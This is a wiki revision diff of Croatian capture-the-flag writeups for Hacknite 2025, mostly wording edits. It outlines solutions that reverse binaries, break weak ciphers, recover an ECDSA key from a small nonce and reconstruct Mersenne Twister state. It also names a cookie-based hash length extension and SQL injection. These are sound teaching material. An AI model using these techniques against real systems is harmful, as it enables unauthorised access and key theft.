User Tools

Site Tools


hacknite2025

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

hacknite2025 [2025/11/13 19:28] – [Hotel] mbunichacknite2025 [2025/12/01 11:40] (current) – external edit 127.0.0.1
Line 20: Line 20:
 </file> </file>
  
-Uz zadatak je dana izvršna datoteka.+Uz zadatak je dana izvršna datoteka.
  
  
  
-pomoćGhidreili drugog alata za reverzno inženjerstvo potrebno je pronaći sve uvijete u danoj izvršnoj datoteci i riješiti ih ručno ili napisati Python skriptu koja ih rješava.+Uz pomoć Ghidre ili drugog alata za reverzno inženjerstvo potrebno je pronaći sve **if** uvjete u danoj izvršnoj datoteci i riješiti ih ručno ili napisati Python skriptu koja ih rješava.
  
  
Line 93: Line 93:
 ====rev2==== ====rev2====
  
-Puno rješenje zadatka je napisano ovdje:+Rješenje zadatka dostupno je ovdje:
  
 [[rev2_ghidra|CTF writeup - rev2-Ghidra]] [[rev2_ghidra|CTF writeup - rev2-Ghidra]]
  
-Također su napisana rješenja na druga dva načina korištenjem alata Angr i tehnikom breakpoint counting.+Također su dostupna rješenja korištenjem alata Angr i tehnikom breakpoint counting.
  
 [[rev2_angr|CTF writeup - rev2-Angr]] [[rev2_angr|CTF writeup - rev2-Angr]]
Line 110: Line 110:
 </file> </file>
  
-Uz zadatak je dana izvršna datoteka.+Uz zadatak je dana izvršna datoteka.
  
 Alat za rješavanje ovog zadatka je [[z3|Z3]]. Alat za rješavanje ovog zadatka je [[z3|Z3]].
  
-S pomoću Ghidreili drugog alata za reverzno inženjerstvo potrebno je pronaći sve uvijete u danoj izvršnoj datoteci i postaviti ih kao Z3 ograničenja, te riješiti Z3 alatom.+S pomoću Ghidre ili drugog alata za reverzno inženjerstvo potrebno je pronaći sve uvjete u danoj izvršnoj datoteci i postaviti ih kao Z3 ograničenja, te riješiti Z3 alatom.
  
 Potrebno je instalirati paket z3-solver, za što se preporučuje korištenje venv modula. Potrebno je instalirati paket z3-solver, za što se preporučuje korištenje venv modula.
  
-Skripta za pronalazak rješenja iz postavljenih uvjeta je u nastavku. +Skripta koja pronalazi rješenje iz postavljenih uvjeta nalazi se u nastavku.
 <file> <file>
 try: try:
Line 254: Line 253:
  
  
-Analizom izvršne datoteke s pomoću alata Ghidra ili drugog alata za reverzno inženjerstvo, mogu se vidjeti potrebni uvjeti nakon kojih program čita datoteku "easterEgg.txt" i ispisuje njen sadržaj:+Analizom izvršne datoteke alatom Ghidra ili drugim alatom za reverzno inženjerstvo, mogu se vidjeti potrebni uvjeti nakon kojih program čita datoteku "easterEgg.txt" i ispisuje njen sadržaj:
  
  
Line 267: Line 266:
 </file> </file>
  
-Svi uvjeti moraju biti zadovoljeni za cijelo vrijeme rađenja kruga, nakon prolaska gornjim lijevim kutem uz zadovoljavanje potrebnih inicijalnih uvjeta.+Svi uvjeti moraju biti zadovoljeni za cijelo vrijeme obilaženja kruga, nakon prolaska gornjim lijevim kutem uz zadovoljavanje potrebnih inicijalnih uvjeta.
  
 ====esrever==== ====esrever====
Line 278: Line 277:
 </file> </file>
  
-Uz zadatak se dobiva izvršna datoteka.+Uz zadatak se dobiva izvršna datoteka.
  
 Nakon pokretanja programa, program traži unos passworda. Nakon pokretanja programa, program traži unos passworda.
Line 312: Line 311:
  
  
-Binary Ninja se može koristiti za daljnju analizu ove izvršne datoteke, nakon čega se lagano može pronaći main funkcija.+Binary Ninja može se koristiti za daljnju analizu izvršne datoteke, nakon čega je mogućlako pronaći main funkciju. 
  
 <file> <file>
Line 339: Line 339:
 </file> </file>
  
-Ovo je najbitniji dio main funkcije, vidi se da program bilježi trenutačni timestamp, te ga potom postavlja kao user agent i šalje zahtjev na endpoint **http://chal.hacknite.hr:1556/get**, vraćeni odgovor pokreće kao shellcode.+Ovo je ključni dio main funkcije, vidi se da program bilježi trenutačni timestamp, te ga potom postavlja kao user agent i šalje zahtjev na endpoint **http://chal.hacknite.hr:1556/get**, vraćeni odgovor pokreće kao shellcode.
  
-U ovom djelu koda se može vidjeti pod koji header se postavlja timestamp.+U ovom dijelu koda se može vidjeti pod koji header se postavlja timestamp.
  
 <file> <file>
Line 359: Line 359:
  
  
-Slanje trenutačnog timestampa je bitno, jer serverska strana može vračati drugačiji odgovor, ovisno o tome koji je timestamp u zahtjevu.+Slanje trenutačnog timestampa je bitno, jer serverska strana može vraćati drugačiji odgovor, ovisno o tome koji je timestamp u zahtjevu.
  
-Kako bi se simuliralo ovo ponašanje, može se napisati bash skripta koja će slati isti zahtjev i zabilježiti odgovor u datoteku.+Za simulaciju ovog ponašanja može se napisati bash skripta koja šalje isti zahtjev i odgovor sprema u datoteku.
  
  
Line 407: Line 407:
  
  
-Naredbe file i binwalk ne prepoznaju ovu datoteku, kao sto ni Ghidra niti Binary Ninja by default ne prepoznaju. Iako strings ispisuje sadržaj koji ukazuje na to da je datoteka izvršni kod, sto se također može zaključiti i po tome što radi program nakon što dohvati ovaj kod CURL pozivom. Nakon dohvaćanja koda, postavlja ga u buffer, skače na njegovu lokaciju i počinje s izvršavanjem koda u bufferu.+Naredbe file i binwalk ne prepoznaju ovu datoteku, kao sto ni Ghidra niti Binary Ninja po defaultu ne prepoznaju. Iako strings ispisuje sadržaj koji ukazuje na to da je datoteka izvršni kod, sto se također može zaključiti i po tome što radi program nakon što dohvati ovaj kod CURL pozivom. Nakon dohvaćanja koda, postavlja ga u buffer, skače na njegovu lokaciju i počinje s izvršavanjem koda u bufferu.
  
 <file> <file>
Line 418: Line 418:
  
  
-No metode statične analize nisu bile uspješne, moguće da kod koristi neku tehniku otežavanja reverznog inženjerstva nad njom, zato se može koristiti dinamička analiza s debuggerom, npr. [[gdb|gdb]]. Kako bi se olakšala dinamička analiza, može se napisati program koji će samo učitati dohvaćenu datoteku **fetched.bin**, čekati bilo koji korisnički unos i nakon njega krenuti s izvršavanjem učitanog koda.+Metode statične analize nisu bile uspješne, moguće je da kod koristi neku tehniku otežavanja reverznog inženjerstva nad njom. Zato se može koristiti dinamička analiza s debuggerom, npr. [[gdb|gdb]]. Kako bi se olakšala dinamička analiza, može se napisati program koji će samo učitati dohvaćenu datoteku **fetched.bin**, čekati bilo koji korisnički unos i nakon njega krenuti s izvršavanjem učitanog koda.
  
 <file> <file>
Line 447: Line 447:
  
  
-Ovaj program će ispisati adresu na koju s pomoću gdba trebamo postaviti breakpoint.+Ovaj program će ispisati adresu na koju s pomoću alata gdb trebamo postaviti breakpoint.
  
 <file> <file>
Line 510: Line 510:
  
  
-Iz ovih instrukcija vidljivo je koja se arhitektura koristi, prefix r na registrima je naznaka da se koriste 64-bitni registri (inače bi bio prefix e). Također je i syscall indikacija da se koristi 64 bita, kao i same memorijske adrese. Uzevši i ovu liniju u obzir+Iz ovih instrukcija vidljivo je koja se arhitektura koristi, prefix r na registrima označava da se koriste 64-bitni registri (inače bi bio prefix e). Također je i syscall indikacija da se koristi 64 bita, kao i same memorijske adrese. Uzevši i ovu liniju u obzir
  
 <file> <file>
Line 516: Line 516:
 </file> </file>
  
-koja računa memorijsku adresu kao relativnu adresu s obzirom na instruction pointer (%rip), može se zaključiti da je ovo Position Independent Code za x86-64 arhitekturu.+koja računa memorijsku adresu kao relativnu adresu s obzirom na instruction pointer (%rip), može se zaključiti da je ovo Position Independent Code (PIC) za x86-64 arhitekturu.
  
  
Line 584: Line 584:
  
  
-Hardkodirana vrijednost (odnosno enkriptirani flag) na offsetu 0x351 je+Hardkodirana vrijednost (enkriptirani flag) na offsetu 0x351 je
  
  
Line 593: Line 593:
  
  
-Kako bi se pronašao flag, može se samo ova hardkodirana vrijednost dešifrirati s RC4 algoritmom i ključem AWAVAUATSH. Ovo se može napraviti i alatom [[https://www.cert.hr/wp-content/uploads/2019/08/CyberChef.pdf|Cyberchef]].+Kako bi se pronašao flag, može se samo ova hardkodirana vrijednost dešifrirati s RC4 algoritmom i ključem AWAVAUATSH. Ovo se može napraviti i alatom [[https://www.cert.hr/wp-content/uploads/2019/08/CyberChef.pdf|CyberChef]].
  
  
-{{ hacknite2025:rc4decrypt.png?nolink&500 | Cyberchef RC4 Decrypt }}+{{ hacknite2025:rc4decrypt.png?nolink&500 | CyberChef RC4 Decrypt }}
  
  
Line 617: Line 617:
  
  
-Analizom koda vidi se da program pokušava otvoriti datoteku **"euler-enough-digits.txt"**, a ako datoteke nema, koristi fallback funkciju za generiranje znamenki broja e, no ova fallback funkcija ne generira dovoljno znamenki da bi se mogle koristiti za ispravno enkodiranje, ovaj zadatak krivo radi ako se pokreće bez datoteke **"euler-enough-digits.txt"** u kojoj je dovoljno znamenki broje e, i ispravne su. Hint u zadatku kaže da je potrebno puno znamenki, u milijardama, te spominje y-cruncher koji se može koristiti za generiranje potrebnih broja znamenki, kao i da postoje na [[https://archive.org/details/EulersNumberE7.5BillionDigits | internetu]].+Analizom koda vidi se da program pokušava otvoriti datoteku **"euler-enough-digits.txt"**, a ako datoteke nema, koristi fallback funkciju za generiranje znamenki broja e, no ova fallback funkcija ne generira dovoljno znamenki za ispravno enkodiranje. Zato zadatak ne radi ispravno ako se pokreće bez datoteke **"euler-enough-digits.txt"** u kojoj je dovoljno znamenki broja e. Hint u zadatku kaže da je potrebno puno znamenki, u milijardama, te spominje y-cruncherkoji se može koristiti za generiranje potrebnih broja znamenki, kao i da postoje na [[https://archive.org/details/EulersNumberE7.5BillionDigits | internetu]].
  
  
Line 656: Line 656:
 </file> </file>
  
-Uzevši u obzir da se ovime enkodiraju printable ASCII znakovi, koji mogu imaju vrijednosti+Uzevši u obzir da se ovime enkodiraju printable ASCII znakovi, koji mogu imati vrijednosti
 32-126, najveći mogući broj dobiven iz bloka od 3 znakova, na poziciji koja je višekratnik broja 10 (ima zadnju znamenku - block counter, 9) je **1261261269**. 32-126, najveći mogući broj dobiven iz bloka od 3 znakova, na poziciji koja je višekratnik broja 10 (ima zadnju znamenku - block counter, 9) je **1261261269**.
  
Line 839: Line 839:
 </file> </file>
  
-Uz zadatak je dostupna izvršna datoteka.+Uz zadatak je dostupna izvršna datoteka.
  
 Pokretanjem naredbe Pokretanjem naredbe
Line 855: Line 855:
 </file> </file>
  
-Datoteka se može UPX raspakirati naredbom+Datoteka se može raspakirati naredbom
  
 <file> <file>
Line 869: Line 869:
  
  
-Može se vidjeti programski kod i u određenim linijama može se vidjeti **AutoHotkey**, što označava da je ovo AutoHotkey skripta.+Može se vidjeti programski kod i u određenim linijama može se vidjeti **AutoHotkey**, što ukazuje da se radi o AutoHotkey skripti.
  
  
Line 909: Line 909:
 </file> </file>
  
-Samo računa pomak na status baru i prikazuje ga, no računa ga na jako neefikasan i spor način, uzevši u obzir da se ovo izvršava u petlji sa 10368001 ponavljanja.+Samo računa pomak na status baru i prikazuje ga, ali na vrlo neefikasan i spor način. Uzevši u obzir da se ovo izvršava u petlji 10368001 ponavljanja, potrebno vrijeme za izvršavanje ovog koda je neprihvatljivo dugo.
  
 <file> <file>
Line 928: Line 928:
  
  
-Ovaj se kod može izvršiti u Pythonu i nakon što završi s računanjem, što ne bi trebalo trajati više od minute, ispisat će se flag.+Ovaj se kod može izvršiti u Pythonu i nakon što završi s računanjem, što ne bi trebalo trajati više od minute, nakon čega će se ispisati flag.
 ====Poligloti==== ====Poligloti====
  
Line 963: Line 963:
  
  
-Zato što izvršio dio datoteke nije stripped, reverzno inženjerstvo s pomoću Ghidra alata je puno lakše, nego što bi inače bilo.+Zato što izvršni dio datoteke nije "stripped", reverzno inženjerstvo s alatom Ghidra je olakšano.
  
  
Line 969: Line 969:
  
  
-Može se vidjeti da traži te vrijednosti na određenom pomaku nakon byteova **"PK \x05 \x06"** Što je zapravo signature za kraj ZIP datoteke. Pošto je i sama ZIP datoteka pri kraju LorenIps datoteke, može se koristiti alat **xxd** i pogledati byteove pri kraju datoteke.+Može se vidjeti da traži te vrijednosti na određenom pomaku nakon byteova **"PK \x05 \x06"** Što je zapravo signature za kraj ZIP datoteke. Budući da je i sama ZIP datoteka pri kraju LorenIps datoteke, može se koristiti alat **xxd** i pogledati byteove pri kraju datoteke.
  
 <file> <file>
Line 986: Line 986:
  
  
-Sada samo treba pročitati ovu vrijednost, napraviti XOR kako bi se dobio AES ključ i iskoristiti ga zajedno sa postavljenim IV (lakše ga je pročitati iz flagEnc.bin, sa samog početka) za dekripciju enkriptirane flag datoteke.+Sada je potrebno pročitati ovu vrijednost, napraviti XOR kako bi se dobio AES ključ i iskoristiti ga zajedno sa postavljenim IV (lakše ga je pročitati iz flagEnc.bin, sa samog početka) za dekripciju enkriptirane flag datoteke.
  
  
Line 1163: Line 1163:
  
  
-Pregledom Python koda u challenge.py datoteci, vidi se da je cijeli kod jedna duga obfuscirana linija koda. Ne koristi se uobičajena Python obfuskacija koju online deobfuskatori mogu pojednostaviti, nego naprednija, za koju je potrebna točno određena verzija Pythona definira u Dockerfileu.+Pregledom Python koda u challenge.py datoteci, vidi se da je cijeli kod jedna duga obfuscirana linija koda. Ne koristi se uobičajena Python obfuskacija koju online deobfuskatori mogu pojednostaviti, nego naprednija, za koju je potrebna točno određena verzija Pythona definirana u Dockerfileu.
  
  
-Pristup deobfuskaciji ovog zadatka je dodavanje i mijenjanje koda u challenge.pydok se ne dobije čitljiv kod. Tijekom obfuskacije se i dalje promijenjena challenge.py skripta treba pokretati s run.sh skriptom kako bi se koristila ista verzija Pythona, a ne host verzija Pythona.+Pristup deobfuskaciji ovog zadatka je postupno dodavanje i mijenjanje koda u challenge.py dok se ne dobije čitljiv oblik koda. Tijekom ovog postupka, promijenjenu challenge.py skriptu treba i dalje pokretati s run.sh kako bi se koristila ista verzija Pythona.
  
  
Line 1484: Line 1484:
 Pretraživanjem po internetu s ovim stringovima, može se naići na GitHub projekt [[https://github.com/nothings/stb| STB]], koji se koristi od strane izvršne datoteke dane u zadatku. Pretraživanjem po internetu s ovim stringovima, može se naići na GitHub projekt [[https://github.com/nothings/stb| STB]], koji se koristi od strane izvršne datoteke dane u zadatku.
  
-Sada se može uz analizu koda dostupnog na GitHub stranici i dekompajliranog koda izvršne datoteke, dokučiti kako radi izvršna datoteka hidete napisati program koji će pronaći skriveni tekst u slici.+Sada se može uz analizu koda dostupnog na GitHub stranici i dekompajliranog koda izvršne datoteke, dokučiti kako radi izvršna datoteka hide te napisati program koji će pronaći skriveni tekst u slici.
  
-Kod za pronalazak skrivenog teksta u slici nije potrebno cijeli pisati, nego se mogu iskoristiti odgovarajuć kod s korištenog GitHub projekta.+Kod za pronalazak skrivenog teksta u slici nije potrebno cijeli pisati, nego se može iskoristiti odgovarajućkod s navedenog GitHub projekta.
  
 +Program pronalazi najčešću boju u slici, prema broju piksela koji imaju te iste R, G, B vrijednosti, zatim u zadnji piksel (donji desni kut) pohranjuje duljinu poruke kao XOR nad duljinom poruke i najčešćim RGB vrijednostima (ovo se može i vizualno primijetiti, zadnji piksel se razlikuje od okolnih)
  
-Program pronalazi najčešću boju u slici, prema broju piksela koji imaju te iste R,G,B vrijednosti, onda u zadnji piksel (donji desni) pohranjuje duljinu poruke kao XOR nad duljinom poruke i najčešćim RGB vrijednostima (ovo se može i vizualno primijetiti, da zadnji piksel je drugačiji od okolnih) 
  
- +Svako slovo skrivenog teksta zatim se skriva kao XOR nad ASCII vrijednošću tog znaka i najčešćih RGB vrijednosti piksela, te ih se postavlja na pozicije određene prostim brojevima.
-Potom svako slovo skrivenog teksta skriva kao XOR nad ASCII vrijednosti tog znaka i najčešćih RGB vrijednosti piksela, te ih postavlja na pozicije određene prostim brojevima.+
  
  
Line 1641: Line 1640:
 </file> </file>
  
-Rješenje ovog zadatka prikazano je na slici u nastavku.+Rješenje zadatka prikazano je na slici u nastavku. 
  
 {{ hacknite2025:tajnaPoruka.png?nolink&500 | Rješenja zadatka }} {{ hacknite2025:tajnaPoruka.png?nolink&500 | Rješenja zadatka }}
Line 1654: Line 1654:
  
  
-Kod generira 49 nasumičnih 30-znamenkastih hex brojeva (charset: (0-9) + (a-fASCII vrijednosti)+Kod generira 49 nasumičnih 30-znamenkastih heksadecimalnih brojeva (charset: 0af ASCII vrijednosti).
  
-U jednu liniju stavlja sadržaj pročitane datoteke flag.txt, te nasumično s lijeve i desne strane dodaje padding u istom charsetu kao ostale linije, dok ta linija ne bude također dužine 30.+Sadržaj datoteke flag.txt stavlja u jednu liniju i nasumično dodaje padding s lijeve i desne strane u istom charsetu, dok linija ne postane dužine 30, kao i ostale linije.
  
 Nakon toga su linije izmiješane i ciklično enkriptirane XOR-om s nasumično generiranim ključem dužine između 9 i 23 (ali dužina ključa nije djeljiva s 5). Ako je ključ dužine 22, u prvoj liniji će se koristiti cijeli ključ jednom i onda opet prva polovica ključa do 9. bajta, pa će sljedeća linija početi s 9. bajtom ključa, itd. Nakon toga su linije izmiješane i ciklično enkriptirane XOR-om s nasumično generiranim ključem dužine između 9 i 23 (ali dužina ključa nije djeljiva s 5). Ako je ključ dužine 22, u prvoj liniji će se koristiti cijeli ključ jednom i onda opet prva polovica ključa do 9. bajta, pa će sljedeća linija početi s 9. bajtom ključa, itd.
  
  
-Logika rješenja je prvo pronaći dužinu ključa, pa onda pronaći bajt ključa za koju se svaki dio plaintexta koji je bio šifriran njome dekriptira u validnu znamenku iz charseta (0-9(a-f).+Rješenje započinje pronalaskom duljine ključa, a zatim se određuje bajt ključa tako da svaki znak plaintexta koji je njime šifriran dekriptira u valjani znak iz charseta (09 + af).
  
 Skripta je dana u nastavku. Skripta je dana u nastavku.
Line 1812: Line 1812:
 Uz zadatak su dani rječnik, izvorni kod korišten za šifriranje i šifrat. Uz zadatak su dani rječnik, izvorni kod korišten za šifriranje i šifrat.
  
-Pregledom dijela koda u kojem se parsiraju argumenti dani programu i pregledom naredbe za pokretanje programa dane u tekstu zadatka, može se zaključiti da je duljina ključa definirana default vrijednostima i da je između 13 i 27.+Pregledom dijela koda u kojem se parsiraju argumenti dani programu i naredbe za pokretanje programa dane u tekstu zadatka, može se zaključiti da je duljina ključa definirana default vrijednostima i da je između 13 i 27 znakova.
  
-Zadatak je spoj [[cezar_sifra| Cezarove]] i [[wiki:vigenere_sifra| Vigenèreove šifre]] (obične, postoji i autokey), ali je Cezarova šifra implementirana i na dodatan drugačiji način, za svaku riječ će se korištena Cezarova šifra razlikovati ovisno o duljini riječi.+Zadatak kombinira [[cezar_sifra|Cezarovu]] i [[wiki:vigenere_sifra|Vigenèreovu šifru]]Cezarova šifra se uz to dodatno primjenjuje na svaku riječ drugačijim ključem ovisno o duljini riječi.
  
  
Line 1820: Line 1820:
  
  
-Jednadžba za specifičan pomak po riječi je:+Jednadžba za specifičan pomak po riječi prikazana je u nastavku:
  
 <file> <file>
Line 1826: Line 1826:
 </file> </file>
  
-Gdje su X i Y konstante u programu, koje su iste za svije riječi.+Gdje su X i Y konstante u programu, koje su iste za sve riječi.
  
  
-Normalna Vigenere Cezarova šifre kad se zajedno koriste, je samo ekvivalentno kao da se koristi Vigenere šifra drugim ključem, pa dio programa koji koristi normalnu Vigenere šifru, di je isti pomak za svaki znak nije bitan, nego se možriješit samo pronalaskom promijenjenog Vigenere ključa.+Kombinacija normalne Vigenère Cezarove šifre ekvivalentna je korištenju Vigenère šifre modificiranim ključem, pa se dio programa koji koristi jednolični pomak ne mora posebno rješavati, nego se odmah pronađmoficirani Vigenère ključ.
  
  
  
-I prvi i drugi korak su riješeni korištenjem indeksa slučajnosti (IC index of coincidence), broj koji govori kolika je šansa da dva nasumično odabrana slova iz teksta budu ista. Zna se da se koristi engleski rječnik i da je za engleski jezik IC ~ 0.067.+Prvi i drugi korak rješavaju se korištenjem indeksa slučajnosti (IC – index of coincidence), koji pokazuje kolika je vjerojatnost da dva nasumično odabrana slova budu ista. Zna se da se koristi engleski rječnik i da je za engleski jezik IC ~ 0.067.
  
    
-IC je niži za tekst koji je potpuno nasumičan, a viši je za strukturirani tekst, jer se neka slova puno češće ponavljaju. Za potpuno nasumičan tekst, s brojem znakova u rječniku 38, kao u zadatku, IC potpuno nasumičnog teksta bi bio 1/38 ~ 0.0263.+IC je niži za potpuno nasumičan tekst, a viši za strukturirani tekst, jer se neka slova puno češće ponavljaju. Za potpuno nasumičan tekst, s brojem znakova u rječniku 38, kao u zadatku, IC potpuno nasumičnog teksta bi bio 1/38 ~ 0.0263.
  
  
-Pri pronalasku prve konfiguracije pomaka po riječi, što je konfiguracija bliža korištenoj, IC će biti veći. Kako bi se pronašla ispravna kombinacija X i Y pomaka po riječi, mogu se pokušati sve kombinacije. +Pri pronalasku korištene konfiguracije pomaka po riječi, što je konfiguracija bliža korištenoj, IC će biti veći. Kako bi se pronašla ispravna kombinacija X i Y pomaka po riječi, mogu se pokušati sve kombinacije. 
-X i Y su nasumični integer u rasponu od 1 do broja znakova u rječniku, što je 38.+X i Y su nasumični cijeli brojevi u rasponu od 1 do broja znakova u rječniku, što je 38.
  
-Broj mogućih kombinacija je onda+Broj mogućih kombinacija je time:
  
 <file> <file>
Line 1849: Line 1849:
  
  
-To je prihvatljiv broj kombinacija za napravit "bruteforcei pronaći kombinaciju koja ima najveći IC.+Ovo je prihvatljiv broj kombinacija za koristiti bruteforce pristup i pronaći kombinaciju koja ima najveći IC. 
 + 
 Nakon toga je uspješno riješen inverz pomaka po riječi i potrebno je samo riješiti običnu Cezar + Vigenere šifru, što je ekvivalentno samo rješavanju Vigenere šifre s drugim ključem, kao što je već spomenuto. Nakon toga je uspješno riješen inverz pomaka po riječi i potrebno je samo riješiti običnu Cezar + Vigenere šifru, što je ekvivalentno samo rješavanju Vigenere šifre s drugim ključem, kao što je već spomenuto.
  
Line 1858: Line 1860:
  
  
-Nakon toga je samo potrebno pronaći za svaku skupinu slovo koje je bilo korišteno za pomak te skupine. Za to se koristi učestalost pojavljivanja pojedinih slova u Engleskom jeziku, npr. u skupini je najčešće slovo S, zna se da je u engleskom najčešće slovo E, vrlo moguće da je pomak E -> S. Onda se ove provjere naprave i za ostala slova i gleda se konfiguracija koja je najbliža učestalosti slova u engleskom jeziku.+Zatim se za svaku skupinu pronalazi slovo koje je korišteno za pomak te skupine. Za to se koristi učestalost pojavljivanja pojedinih slova u Engleskom jeziku, npr. u skupini je najčešće slovo S, zna se da je u engleskom najčešće slovo E, vrlo moguće da je pomak E -> S. Onda se ova provjera napravi i za ostala slova i gleda se konfiguracija koja je najbliža učestalosti slova u engleskom jeziku.
  
 U zadatku se za to koristi ovaj rječnik. U zadatku se za to koristi ovaj rječnik.
Line 2029: Line 2031:
 Uz zadatak su dani kod korišten za generiranje šifrata i šifrat. Uz zadatak su dani kod korišten za generiranje šifrata i šifrat.
  
-Zadatak generira šifrat na isti način kao u Xorry1 zadatku, no umjesto 50 linija, vraćeno je samo 10 linija. Glavna razlika je da se linije izmiješaju nakon što se ciklično enkriptiraju nasumičnim ključem nasumične duljine, pa je puno teže pronaći i duljinu ključa i pozicije nad kojima se isti indeks ključa koristio.+Zadatak generira šifrat na sličan način kao u Xorry1 zadatku, ali vraćsamo 10 linija. Glavna razlika je da se linije izmiješaju nakon što se ciklično enkriptiraju nasumičnim ključem nasumične duljine, pa je puno teže pronaći i duljinu ključa i pozicije nad kojima se isti indeks ključa koristio.
  
 Rješenje se temelji na znanim informacijama: Rješenje se temelji na znanim informacijama:
Line 2198: Line 2200:
  
  
-Ovaj zadatak se može riješiti na više načina, no glavna činjenica koja se koristi za rješenje u nastavku je da što je kandidat ključa sličniji korištenom ključu, to će pokušaj dešifriranja biti sličniji mogućem plaintextu, odnosno pri pokušaju dešifriranja će se više base64 plaintexta moći uspješno dekodirati u validne riječi engleskog rječnika.+Ovaj zadatak se može riješiti na više načina. Obilježje algoritma šifriranja koje se koristi za rješenje u nastavku je da što je kandidat ključa sličniji korištenom ključu, to će pokušaj dešifriranja biti sličniji mogućem plaintextu, odnosno pri pokušaju dešifriranja će se više base64 plaintexta moći uspješno dekodirati u validne riječi engleskog rječnika.
  
 Zna se da je plaintext bio enkodiran s base64, također se zna da je korišten engleski rječnik kao wordlist pa se dodatno može generirati frequency analysis nad base64 engleskog rječnika danog uz zadatak iako nije potrebno za rješenje. Zna se da je plaintext bio enkodiran s base64, također se zna da je korišten engleski rječnik kao wordlist pa se dodatno može generirati frequency analysis nad base64 engleskog rječnika danog uz zadatak iako nije potrebno za rješenje.
  
-Rješenje u nastavku koristi genetic algoritam, gdje generira nasumične ključevenađe kandidate za koje se dešifrirani tekst najuspješnije može dekodirati algoritmom base64 u engleske riječi. Sljedeću generaciju stvara iz najboljih kandidata, uz miješanje kandidata i mutacije.+Rješenje u nastavku koristi genetski algoritam. Generiraju se nasumični ključevipronađu se najbolji kandidati za koje se dešifrirani tekst najuspješnije može base64 dekodirati u engleske riječi. Sljedeća generacija se stvara iz najboljih kandidata, uz miješanje kandidata i mutacije.
  
  
  
-Skripta je kompatibilna uz pypy implementaciju, te se preporučuje njeno korištenje. Skripti se mogu mijenjati argumenti pri rješavanju, ako skripta ne uspije odmah pronaći rješenje, može se povećati broj generacija (parametar "gens") i ponovno pokrenuti.+Skripta je kompatibilna s PyPy implementacijom, te se preporučuje njeno korištenje. Skripti se mogu mijenjati argumenti pri rješavanju, ako skripta ne uspije odmah pronaći rješenje, može se povećati broj generacija (argument gens - generations) i ponovno pokrenuti.
  
 Skripti su potrebne datoteke: Skripti su potrebne datoteke:
Line 2554: Line 2556:
  
  
-Vrijednost varijable k je u rasponu 1 do 2^16, što je samo 65536 različitih mogućih vrijednosti i lagano je za napravit bruteforce.+Varijabla k je u rasponu 1 do 2^16, što je samo 65536 različitih mogućih vrijednosti i time se može pronaći bruteforce pristupom u prihvatljivom vremenu.
  
  
Line 2568: Line 2570:
 vrijednosti r i s su u ispravnim implementacijama javne i nije problem ako se znaju, no problem je što je poznato da je vrijednost k jako mala. vrijednosti r i s su u ispravnim implementacijama javne i nije problem ako se znaju, no problem je što je poznato da je vrijednost k jako mala.
  
-s se računa ovom formulom+s se računa formulom:
  
 <file> <file>
Line 2574: Line 2576:
 </file> </file>
  
-U ovoj jednadžbi, h, s i r su poznati, k i priv (privatni ključ) su nepoznati, ali je dovoljno mal da se može pronaći pokušavanjem svih mogućih vrijednosti za k u ovoj formuli.+U ovoj jednadžbi, h, s i r su poznati, k i privatni ključ (priv) su nepoznati, ali zbog male vrijednosti mogućga je pronaći bruteforceom.
  
  
Line 2594: Line 2596:
  
  
-kada je pronađena vrijednost k, može se pronaći i vrijednost privatnog ključa, nad kojom se radi SHA256 i potom XOR njome nad flagom, kada se dohvaćenkriptirani flag.+Kad se pronađk, može se izračunati privatni ključ, nad kojim se radi SHA256 i potom XOR sažetka i flag-a. 
  
 Skripta koja ovim postupkom pronalazi flag je u nastavku. Skripta koja ovim postupkom pronalazi flag je u nastavku.
Line 2714: Line 2716:
  
 Python random modul koristi Mersenne Twister kao generator nasumičnih brojeva iz inicijalnog seeda. Python random modul koristi Mersenne Twister kao generator nasumičnih brojeva iz inicijalnog seeda.
-Pri početku koda se vidi kako je inicijaliziran s punih 624 riječi, što je maximum.+ 
 +Pri početku koda se vidi kako je state inicijaliziran s punih 624 riječi, što je maksimum.
  
  
Line 2739: Line 2742:
 </file> </file>
  
-To se u zadatku može napraviti slanjem null bajtova, nad kojima se radi XOR operacija s generiranim izlazom servera.+To se može napraviti slanjem null bajtova, nad kojima se radi XOR operacija s generiranim izlazom servera.
  
 Nakon toga se radi inverz operacija za generiranje nasumičnih brojeva iz stanja, i onda kad se uspješno rekonstruiralo stanje, zatraži se enkriptirani flag, predvidi se čime je on bio enkriptiran s pomoću rekonstruiranog stanja i dešifrira se flag. Nakon toga se radi inverz operacija za generiranje nasumičnih brojeva iz stanja, i onda kad se uspješno rekonstruiralo stanje, zatraži se enkriptirani flag, predvidi se čime je on bio enkriptiran s pomoću rekonstruiranog stanja i dešifrira se flag.
Line 2857: Line 2860:
 ====Zapamti me==== ====Zapamti me====
  
-Puno rješenje zadatka je napisano ovdje:+Rješenje zadatka dostupno je ovdje:
  
  
Line 2880: Line 2883:
 </file> </file>
  
-Da je obrnuti redoslijed ovih dviju vrijednosti u signatureu:+Da je redoslijed ovih dviju vrijednosti pri generaciji potpisa bio obrnut:
  
 <file> <file>
Line 2890: Line 2893:
 Napad ne bi bio moguć. Napad ne bi bio moguć.
  
-Druga ranjivost je [[sql_injection|SQL Injection]] nad korisnikovom ID vrijednosti, pročitane iz korisničkog kolačića.+Druga ranjivost je [[sql_injection|SQL Injection]] nad korisnikovim ID-om pročitanim iz korisničkog kolačića
  
 <file> <file>
Line 2905: Line 2908:
  
  
-Alat za generiranje produljenog sažetka koji se koristi u ovom rješenju je [[https://github.com/stephenbradshaw/hlextend|hlexstend]].+Alat za generiranje produljenog sažetka koji se koristi u ovom rješenju je [[https://github.com/stephenbradshaw/hlextend|hlextend]].
  
  
Line 2980: Line 2983:
  
  
-Ova skripta se može iskoristiti za generaciju payload kolačića iz korisničkog kolačića, nakon što je stvoren korisnički račun, a u nastavku je skripta koja to radi automatizirano, koristi prethodnu skriptupostavlja payload kolačić i iščitava flag.+Ova skripta se može iskoristiti za generaciju payload kolačića iz korisničkog kolačića, nakon što je stvoren korisnički račun. U nastavku je skripta koja to radi automatizirano, koristeći prethodnu skriptu te postavlja payload kolačić, šalje zahtjev i iščitava flag.
  
 <file> <file>
Line 3121: Line 3124:
  
  
-Može se riješiti pisanjem odgovarajućeg CURL zahtjeva+Zadatak se može riješiti pisanjem odgovarajućeg CURL zahtjeva
 <file> <file>
 curl -X POST "http://chal.platforma.hacknite.hr:14014/fetch_flag" \ curl -X POST "http://chal.platforma.hacknite.hr:14014/fetch_flag" \
Line 3138: Line 3142:
  
  
-odlaskom na +Odlaskom na 
 + 
 <file> <file>
